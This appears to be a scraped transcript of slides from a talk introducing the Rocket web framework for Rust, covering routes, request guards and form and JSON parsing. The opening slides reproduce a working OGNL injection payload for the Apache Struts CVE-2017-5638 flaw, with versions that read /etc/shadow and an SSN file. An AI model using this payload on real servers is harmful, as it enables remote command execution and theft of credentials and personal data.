sergio benitez
play

Sergio Benitez sb@sergio.bz Rocket is a web framework for Rust that - PowerPoint PPT Presentation

Sergio Benitez sb@sergio.bz Rocket is a web framework for Rust that makes it simple to write fast web applications without sacrificing flexibility or type safety. Rocket is a web framework for Rust that makes it simple to write fast web


  1. payload = "%{(#_='multipart/form-data')." payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." payload += "(#_memberAccess?" payload += "(#_memberAccess=#dm):" payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." payload += "(#ognlUtil.getExcludedPackageNames().clear())." payload += "(#ognlUtil.getExcludedClasses().clear())." payload += "(#context.setMemberAccess(#dm))))." payload += "(#cmd='%s')." % cmd payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))." payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))." payload += "(#p=new java.lang.ProcessBuilder(#cmds))." payload += "(#p.redirectErrorStream(true)).(#process=#p.start())." payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))." payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." payload += "(#ros.flush())}" CVE-2017-5638 ( impact 10 )

  2. payload = "%{(#_='multipart/form-data')." payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." payload += "(#_memberAccess?" payload += "(#_memberAccess=#dm):" payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." payload += "(#ognlUtil.getExcludedPackageNames().clear())." payload += "(#ognlUtil.getExcludedClasses().clear())." payload += "(#context.setMemberAccess(#dm))))." payload += "(#cmd='%s')." % cmd payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))." payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))." payload += "(#p=new java.lang.ProcessBuilder(#cmds))." payload += "(#p.redirectErrorStream(true)).(#process=#p.start())." payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))." payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." payload += "(#ros.flush())}" CVE-2017-5638 ( impact 10 )

  3. payload = "%{(#_='multipart/form-data')." payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." payload += "(#_memberAccess?" payload += "(#_memberAccess=#dm):" payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." payload += "(#ognlUtil.getExcludedPackageNames().clear())." payload += "(#ognlUtil.getExcludedClasses().clear())." payload += "(#context.setMemberAccess(#dm))))." payload += “(#cmd='cat /etc/shadow')." payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))." payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))." payload += "(#p=new java.lang.ProcessBuilder(#cmds))." payload += "(#p.redirectErrorStream(true)).(#process=#p.start())." payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))." payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." payload += "(#ros.flush())}" CVE-2017-5638 ( impact 10 )

  4. payload = "%{(#_='multipart/form-data')." payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." payload += "(#_memberAccess?" payload += "(#_memberAccess=#dm):" payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." payload += "(#ognlUtil.getExcludedPackageNames().clear())." payload += "(#ognlUtil.getExcludedClasses().clear())." payload += "(#context.setMemberAccess(#dm))))." payload += “(#cmd='cat /data/all/americans/ssn.tsv').” payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))." payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))." payload += "(#p=new java.lang.ProcessBuilder(#cmds))." payload += "(#p.redirectErrorStream(true)).(#process=#p.start())." payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))." payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." payload += "(#ros.flush())}" CVE-2017-5638 ( impact 10 )

  5. Hello, World!

  6. Routes (Hello, world!) #[get("/")] 1 fn hello() -> &'static str { 2 "Hello, world!" 3 } 4

  7. Routes (Hello, world!) 1 #[get("/")] 1 fn hello() -> &'static str { 2 "Hello, world!" 3 } 4 1 Route Attribute: Description of matching condition.

  8. Routes (Hello, world!) 1 #[get("/")] 1 2 fn hello() -> &'static str { 2 "Hello, world!" 3 } 4 1 Route Attribute: Description of matching condition. 2 Route Handler: Request processing, produces response.

  9. Routes (Hello, world!) 1 #[get("/")] 1 2 fn hello() -> &'static str { 2 "Hello, world!" 3 } 4 1 Route Attribute: Description of matching condition. 2 Route Handler: Request processing, produces response.

  10. Routes (Hello, world!) 1 #[get("/")] 1 2 fn hello() -> &'static str { 2 "Hello, world!" 3 } 4 1 Route Attribute: Description of matching condition. 2 Route Handler: Request processing, produces response.

  11. Routes (Hello, world!) 1 #[get("/")] 1 2 fn hello() -> &'static str { 2 "Hello, world!" 3 } 4 1 Route Attribute: Description of matching condition. 2 Route Handler: Request processing, produces response.

  12. Mounting & Launching #[get("/")] #[get("/")] 1 fn hello() -> &'static str { fn hello() -> &'static str { 2 "Hello, world!" "Hello, world!" 3 } } 4 5 fn main() { 6 rocket::ignite().mount("/", routes![hello]).launch(); 7 } 8 Routes need to be mounted to make Rocket aware .

  13. Mounting & Launching #[get("/")] #[get("/")] 1 fn hello() -> &'static str { fn hello() -> &'static str { 2 "Hello, world!" "Hello, world!" 3 } } 4 5 fn main() { 6 rocket::ignite().mount("/", routes![hello]).launch(); 7 } 8 Ignition constructs a Rocket instance for mounting and launching.

  14. Mounting & Launching #[get("/")] #[get("/")] 1 fn hello() -> &'static str { fn hello() -> &'static str { 2 "Hello, world!" "Hello, world!" 3 } } 4 5 fn main() { 6 rocket::ignite().mount("/", routes![hello]).launch(); 7 } 8 Mounting namespaces routes according to a root path.

  15. Mounting & Launching #[get("/")] #[get("/")] 1 fn hello() -> &'static str { fn hello() -> &'static str { 2 "Hello, world!" "Hello, world!" 3 } } 4 5 fn main() { 6 rocket::ignite().mount("/hello", routes![hello]).launch(); 7 } 8 Mounting namespaces routes according to a root path.

  16. Mounting & Launching #[get("/")] #[get("/")] 1 fn hello() -> &'static str { fn hello() -> &'static str { 2 "Hello, world!" "Hello, world!" 3 } } 4 5 fn main() { 6 rocket::ignite().mount("/", routes![hello]).launch(); 7 } 8 Mounting namespaces routes according to a root path.

  17. Mounting & Launching #[get("/")] #[get("/")] 1 fn hello() -> &'static str { fn hello() -> &'static str { 2 "Hello, world!" "Hello, world!" 3 } } 4 5 fn main() { 6 rocket::ignite().mount("/", routes![hello]).launch(); 7 } 8 Launch ing starts up the server.

  18. Mounting & Launching #[get("/")] #[get("/")] 1 fn hello() -> &'static str { fn hello() -> &'static str { 2 "Hello, world!" "Hello, world!" 3 } } 4 5 fn main() { 6 rocket::ignite().mount("/", routes![hello]).launch(); 7 } 8 Launch ing starts up the server. (also prints emojis ! )

  19. Mounting & Launching #[get("/")] #[get("/")] 1 fn hello() -> &'static str { fn hello() -> &'static str { 2 "Hello, world!" "Hello, world!" 3 } } 4 5 fn main() { 6 rocket::ignite().mount("/", routes![hello]).launch(); 7 } 8 Launching starts up the server. (also prints emojis ! )

  20. Mounting & Launching #[get("/")] #[get("/")] 1 fn hello() -> &'static str { fn hello() -> &'static str { 2 "Hello, world!" "Hello, world!" 3 } } 4 5 fn main() { 6 rocket::ignite().mount("/", routes![hello]).launch(); 7 } 8

  21. Mounting & Launching #[get("/world")] #[get("/")] 1 fn hello() -> &'static str { fn hello() -> &'static str { 2 "Hello, world!" "Hello, world!" 3 } } 4 5 fn main() { 6 rocket::ignite().mount("/", routes![hello]).launch(); 7 } 8

  22. Mounting & Launching #[get("/sergio")] #[get("/")] 1 fn hello() -> &'static str { fn hello() -> &'static str { 2 "Hello, Sergio!" "Hello, world!" 3 } } 4 5 fn main() { 6 rocket::ignite().mount("/", routes![hello]).launch(); 7 } 8

  23. Dynamic Paths Request Guards Data Guards Typed URIs

  24. Dynamic Paths

  25. Dynamic Paths #[get("/<name>/<age>")] 1 fn hello(name: String, age: u8) -> String { 2 format!("Hello, {} year old named {}!", age, name) 3 } 4 Parameters in < brackets > match any text in segment.

  26. Dynamic Paths #[get("/<name>/<age>")] 1 fn hello(name: String, age: u8) -> String { 2 format!("Hello, {} year old named {}!", age, name) 3 } 4 Parameters in < brackets > match any text in segment. • Name in <brackets> must have matching function argument.

  27. Dynamic Paths #[get("/<name>/<age>")] 1 fn hello(name: String, number: u8) -> String { 2 format!("Hello, {} year old named {}!", age, name) 3 } 4 Parameters in < brackets > match any text in segment. • Name in <brackets> must have matching function argument.

  28. Dynamic Paths #[get("/<name>/<age>")] 1 fn hello(name: String, number: u8) -> String { 2 format!("Hello, {} year old named {}!", age, name) 3 } 4 Parameters in < brackets > match any text in segment. • Name in <brackets> must have matching function argument.

  29. Dynamic Paths #[get("/<name>/<age>")] 1 fn hello(name: String, number: u8) -> String { 2 format!("Hello, {} year old named {}!", age, name) 3 } 4 Parameters in < brackets > match any text in segment. • Name in <brackets> must have matching function argument.

  30. Dynamic Paths #[get("/<name>/<age>")] 1 fn hello(name: String, age: u8) -> String { 2 format!("Hello, {} year old named {}!", age, name) 3 } 4 Parameters in < brackets > match any text in segment. • Name in <brackets> must have matching function argument.

  31. Dynamic Paths #[get("/<name>/<age>")] 1 fn hello(name: String, age: u8) -> String { 2 format!("Hello, {} year old named {}!", age, name) 3 } 4 Parameters in < brackets > match any text in segment. • Type of dynamic parameter is declared in handler signature. • Any type implementing FromParam is allowed.

  32. Dynamic Paths #[get("/<name>/<age>")] 1 fn hello(name: String, age: u8) -> String { 2 format!("Hello, {} year old named {}!", age, name) 3 } 4 Parameters in < brackets > match any text in segment. • Handler can only be called if FromParam conversion succeeds.

  33. Preventing Directory Traversal #[get(“/<path..>")] 1 fn files(path: PathBuf) -> Option<NamedFile> { 2 NamedFile::open(Path::new("static/").join(path)).ok() 3 } 4 Implication: handlers are only called with validated data! • FromParam * implementation for PathBuf verifies path safety.

  34. Request Guards

  35. Request Guards #[get("/admin")] 1 fn admin_panel(admin: AdminUser) -> &'static str { ... } 2 Arbitrary number of FromRequest parameters allowed.

  36. Request Guards #[get("/admin")] 1 fn admin_panel(admin: AdminUser) -> &'static str { ... } 2 Request guards validate incoming request, protect handlers. • Guards may fail , preventing further request processing. • Guards may forward , indicating local failure.

  37. Request Guards & Forwarding #[get("/admin")] #[get("/admin")] 1 fn admin_panel(admin: AdminUser) -> &'static str { ... } fn admin_panel(admin: AdminUser) -> &'static str { ... } 2 3 #[get("/admin", rank = 2)] 4 fn admin_panel_user(user: User) -> &'static str { ... } 5 Forwarding: Rocket attempts colliding routes in ascending rank order.

  38. Request Guards & Forwarding #[get("/admin")] #[get("/admin")] 1 fn admin_panel(admin: AdminUser) -> &'static str { ... } fn admin_panel(admin: AdminUser) -> &'static str { ... } 2 3 #[get("/admin", rank = 2)] 4 fn admin_panel_user(user: User) -> &'static str { ... } 5 Forwarding: Rocket attempts colliding routes in ascending rank order.

  39. Request Guards & Forwarding #[get("/admin")] #[get("/admin")] 1 fn admin_panel(admin: AdminUser) -> &'static str { ... } fn admin_panel(admin: AdminUser) -> &'static str { ... } 2 3 #[get("/admin", rank = 2)] 4 fn admin_panel_user(user: User) -> &'static str { ... } 5 Forwarding: Rocket attempts colliding routes in ascending rank order.

  40. Request Guards & Forwarding #[get("/admin")] #[get("/admin")] 1 fn admin_panel(admin: AdminUser) -> &'static str { ... } fn admin_panel(admin: AdminUser) -> &'static str { ... } 2 3 #[get("/admin")] 4 fn admin_panel_user(user: User) -> &'static str { ... } 5 Forwarding: Rocket attempts colliding routes in ascending rank order.

  41. Request Guards & Forwarding #[get("/admin")] #[get("/admin")] 1 fn admin_panel(admin: AdminUser) -> &'static str { ... } fn admin_panel(admin: AdminUser) -> &'static str { ... } 2 3 #[get("/admin", rank = 2)] 4 fn admin_panel_user(user: User) -> &'static str { ... } 5 Forwarding: Rocket attempts colliding routes in ascending rank order.

  42. Request Guards & Forwarding #[get("/admin")] #[get("/admin")] 1 fn admin_panel(admin: AdminUser) -> &'static str { ... } fn admin_panel(admin: AdminUser) -> &'static str { ... } 2 3 #[get("/admin")] 4 fn admin_panel_user(user: User) -> &'static str { ... } 5 Forwarding: Rocket attempts colliding routes in ascending rank order.

  43. Request Guards & Forwarding #[get("/admin")] #[get("/admin")] 1 fn admin_panel(admin: AdminUser) -> &'static str { ... } fn admin_panel(admin: AdminUser) -> &'static str { ... } 2 3 #[get("/admin", rank = 2)] 4 fn admin_panel_user(user: User) -> &'static str { ... } 5 Forwarding: Rocket attempts colliding routes in ascending rank order.

  44. Request Guards & Forwarding #[get("/admin")] #[get("/admin")] 1 fn admin_panel(admin: AdminUser) -> &'static str { ... } fn admin_panel(admin: AdminUser) -> &'static str { ... } 2 3 #[get("/admin", rank = 2)] 4 fn admin_panel_user(user: User) -> &'static str { ... } 5 Forwarding: Rocket attempts colliding routes in ascending rank order.

  45. Request Guards & Forwarding #[get("/admin")] 1 #[get("/admin")] fn admin_panel(admin: AdminUser) -> &'static str { ... } 2 fn admin_panel(admin: AdminUser) -> &'static str { ... } 3 #[get("/admin", rank = 2)] 4 #[get("/admin", rank = 2)] fn admin_panel_user(user: User) -> &'static str { ... } 5 fn admin_panel_user(user: User) -> &'static str { ... } 6 #[get("/admin", rank = 3)] 7 fn admin_panel_redirect() -> Redirect { ... } 8

  46. Data Guards

  47. Parsing Form Data 1 struct Task { 2 description: String, completed: bool 3 } 4

  48. Parsing Form Data 1 struct Task { 2 description: String, 3 completed: bool 4 } 5 #[post("/", data = "<todo>")] 6 fn new(todo: Form<Task>) -> Flash<Redirect> { 7 match todo.inner() { 8 Ok(task) => Flash::success(Redirect::to("/"), "Added."), 9 Err(e) => Flash::error(Redirect::to("/"), e) 10 } 11 } 12

  49. Parsing Form Data 1 struct Task { 2 description: String, 3 completed: bool 4 } 5 #[post("/", data = "<todo>")] 6 fn new(todo: Form<Task>) -> Flash<Redirect> { 7 match todo.inner() { 8 Ok(task) => Flash::success(Redirect::to("/"), "Added."), 9 Err(e) => Flash::error(Redirect::to("/"), e) 10 } 11 } 12

  50. Parsing Form Data #[derive(FromForm)] 1 struct Task { 2 description: String, 3 completed: bool 4 } 5 6 #[post("/", data = "<todo>")] 7 fn new(todo: Form<Task>) -> Flash<Redirect> { 8 match todo.inner() { 9 Ok(task) => Flash::success(Redirect::to("/"), "Added."), 10 Err(e) => Flash::error(Redirect::to("/"), e) 11 } 12 } 13

  51. Parsing Form Data #[derive(FromForm)] 1 struct Task { 2 description: String, 3 completed: bool 4 } 5 6 #[post("/", data = "<todo>")] 7 fn new(todo: Form<Task>) -> Flash<Redirect> { 8 match todo.inner() { 9 Ok(task) => Flash::success(Redirect::to("/"), "Added."), 10 Err(e) => Flash::error(Redirect::to("/"), e) 11 } 12 } 13

  52. Parsing Form Data #[post("/", data = "<todo>")] 1 fn new(todo: Form<Task>) -> Flash<Redirect> { 2 match todo.inner() { 3 Ok(task) => Flash::success(Redirect::to("/"), "Added."), 4 Err(e) => Flash::error(Redirect::to("/"), e) 5 } 6 } 7 FromData types parse and validate body data.

  53. Parsing Form Data #[post("/", data = "<todo>")] 1 fn new(todo: Form<Task>) -> Flash<Redirect> { 2 match todo.inner() { 3 Ok(task) => Flash::success(Redirect::to("/"), "Added."), 4 Err(e) => Flash::error(Redirect::to("/"), e) 5 } 6 } 7 FromData types parse and validate body data. • Any type implementing FromData is allowed (here, Form ). • Structure is automatically deserialized from form data.

  54. Parsing JSON Data #[post("/", data = "<todo>")] 1 fn new(todo: Json<Task>) -> Flash<Redirect> { 2 match todo.inner() { 3 Ok(task) => Flash::success(Redirect::to("/"), "Added."), 4 Err(e) => Flash::error(Redirect::to("/"), e) 5 } 6 } 7 FromData types parse and validate body data. • Any type implementing FromData is allowed (here, Json ). • Structure is automatically deserialized from JSON data.

  55. Typed URIs

Download Presentation
Download Policy: The content available on the website is offered to you 'AS IS' for your personal information and use only. It cannot be commercialized, licensed, or distributed on other websites without prior consent from the author. To download a presentation, simply click this link. If you encounter any difficulties during the download process, it's possible that the publisher has removed the file from their server.

Recommend


More recommend